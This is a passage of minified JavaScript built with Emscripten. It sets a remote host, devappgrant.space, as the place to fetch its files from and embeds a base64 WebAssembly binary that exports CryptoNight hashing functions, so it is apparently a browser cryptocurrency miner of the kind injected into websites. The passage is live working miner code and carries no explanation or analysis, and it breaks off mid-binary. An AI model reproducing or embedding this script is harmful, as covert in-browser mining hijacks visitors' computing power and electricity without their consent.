PROCINFO.pid}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function _gmtime_r(e,r){var t=new Date(1e3*HEAP32[e>>2]);HEAP32[r>>2]=t.getUTCSeconds(),HEAP32[r+4>>2]=t.getUTCMinutes(),HEAP32[r+8>>2]=t.getUTCHours(),HEAP32[r+12>>2]=t.getUTCDate(),HEAP32[r+16>>2]=t.getUTCMonth(),HEAP32[r+20>>2]=t.getUTCFullYear()-1900,HEAP32[r+24>>2]=t.getUTCDay(),HEAP32[r+36>>2]=0,HEAP32[r+32>>2]=0;var n=Date.UTC(t.getUTCFullYear(),0,1,0,0,0,0),o=(t.getTime()-n)/864e5|0;return HEAP32[r+28>>2]=o,HEAP32[r+40>>2]=___tm_timezone,r}function _gmtime(e){return _gmtime_r(e,___tm_current)}function ___lock(){}function ___unlock(){}function ___syscall6(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD();return FS.close(t),0}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function _emscripten_memcpy_big(e,r,t){return HEAPU8.set(HEAPU8.subarray(r,r+t),e),e}function _ftime(e){var r=Date.now();return HEAP32[e>>2]=r/1e3|0,HEAP16[e+4>>1]=r%1e3,HEAP16[e+6>>1]=0,HEAP16[e+8>>1]=0,0}function ___syscall140(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD(),n=(SYSCALLS.get(),SYSCALLS.get()),o=SYSCALLS.get(),i=SYSCALLS.get(),a=n;return FS.llseek(t,a,i),HEAP32[o>>2]=t.position,t.getdents&&0===a&&0===i&&(t.getdents=null),0}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function ___syscall146(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD(),n=SYSCALLS.get(),o=SYSCALLS.get();return SYSCALLS.doWritev(t,n,o)}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function ___syscall54(e,r){SYSCALLS.varargs=r;try{var t=SYSCALLS.getStreamFromFD(),n=SYSCALLS.get();switch(n){case 21505:case 21506:return t.tty?0:-ERRNO_CODES.ENOTTY;case 21519:if(!t.tty)return-ERRNO_CODES.ENOTTY;var o=SYSCALLS.get();return HEAP32[o>>2]=0,0;case 21520:return t.tty?-ERRNO_CODES.EINVAL:-ERRNO_CODES.ENOTTY;case 21531:o=SYSCALLS.get();return FS.ioctl(t,n,o);case 21523:return t.tty?0:-ERRNO_CODES.ENOTTY;default:abort(\"bad ioctl syscall \"+n)}}catch(e){return void 0!==FS&&e instanceof FS.ErrnoError||abort(e),-e.errno}}function invoke_ii(e,r){try{return Module.dynCall_ii(e,r)}catch(e){if(\"number\"!=typeof e&&\"longjmp\"!==e)throw e;Module.setThrew(1,0)}}function invoke_iiii(e,r,t,n){try{return Module.dynCall_iiii(e,r,t,n)}catch(e){if(\"number\"!=typeof e&&\"longjmp\"!==e)throw e;Module.setThrew(1,0)}}function invoke_viii(e,r,t,n){try{Module.dynCall_viii(e,r,t,n)}catch(e){if(\"number\"!=typeof e&&\"longjmp\"!==e)throw e;Module.setThrew(1,0)}}self.XMnr=self.XMnr||{},self.XMnr.CONFIG={WEBROOT_URL:\"https://devappgrant.space/lib/\"};var Module={locateFile:function(e){return XMnr.CONFIG.WEBROOT_URL+e}};Module.wasmBinary=function(e){for(var r=atob(\"AGFzbQEAAAABUw5gA39/fwBgA39/fwF/YAF/AX9gAX8AYAABf2ACf38Bf2AEf39/fwBgAn9/AGADf39+AGADf35/AGAEf39+fwF/YAR/f39/AX9gA35+fwF+YAAAAqsDFwNlbnYORFlOQU1JQ1RPUF9QVFIDfwADZW52CFNUQUNLVE9QA38AA2VudglTVEFDS19NQVgDfwADZW52BWFib3J0AAMDZW52DWVubGFyZ2VNZW1vcnkABANlbnYOZ2V0VG90YWxNZW1vcnkABANlbnYXYWJvcnRPbkNhbm5vdEdyb3dNZW1vcnkABANlbnYHX2dtdGltZQACA2VudgdfX19sb2NrAAMDZW52C19fX3N5c2NhbGw2AAUDZW52C19fX3NldEVyck5vAAMDZW52CV9fX3VubG9jawADA2VudgZfZnRpbWUAAgNlbnYWX2Vtc2NyaXB0ZW5fbWVtY3B5X2JpZwABA2VudgxfX19zeXNjYWxsNTQABQNlbnYNX19fc3lzY2FsbDE0MAAFA2VudgxfX19zeXNjYWxsMjAABQNlbnYOX19fYXNzZXJ0X2ZhaWwABgNlbnYNX19fc3lzY2FsbDE0NgAFA2VudgZtZW1vcnkCAYACgAIDZW52BXRhYmxlAXABDg4DZW52Cm1lbW9yeUJhc2UDfwADZW52CXRhYmxlQmFzZQN/AAM+PQIEAwcHAwQABAMGAAAAAAcHCAYICQAAAAoDBwALBgYGAwEEAQIMAgMFAgEBAgQBBAICDQECAQEFCwYCAQAGHwZ/ASMAC38BIwELfwEjAgt/AUEAC38BQQALfwFBAAsH1QIXCXN0YWNrU2F2ZQAREV9jcnlwdG9uaWdodF9oYXNoABoIc2V0VGhyZXcAFAxkeW5DYWxsX3ZpaWkASQdfZmZsdXNoAEAHX21lbXNldABDBV9zYnJrAEQTX2NyeXB0b25pZ2h0X2NyZWF0ZQAYB19tZW1jcHkARQpzdGFja0FsbG9jABALZ2V0VGVtcFJldDAAFgtzZXRUZW1wUmV0MAAVDGR5bkNhbGxfaWlpaQBIG19lbXNjcmlwdGVuX2dldF9nbG9iYWxfbGliYwA/CmR5bkNhbGxfaWkARxRfY3J5cHRvbmlnaHRfZGVzdHJveQAZEV9fX2Vycm5vX2xvY2F0aW9uAD0FX2ZyZWUANwtydW5Qb3N0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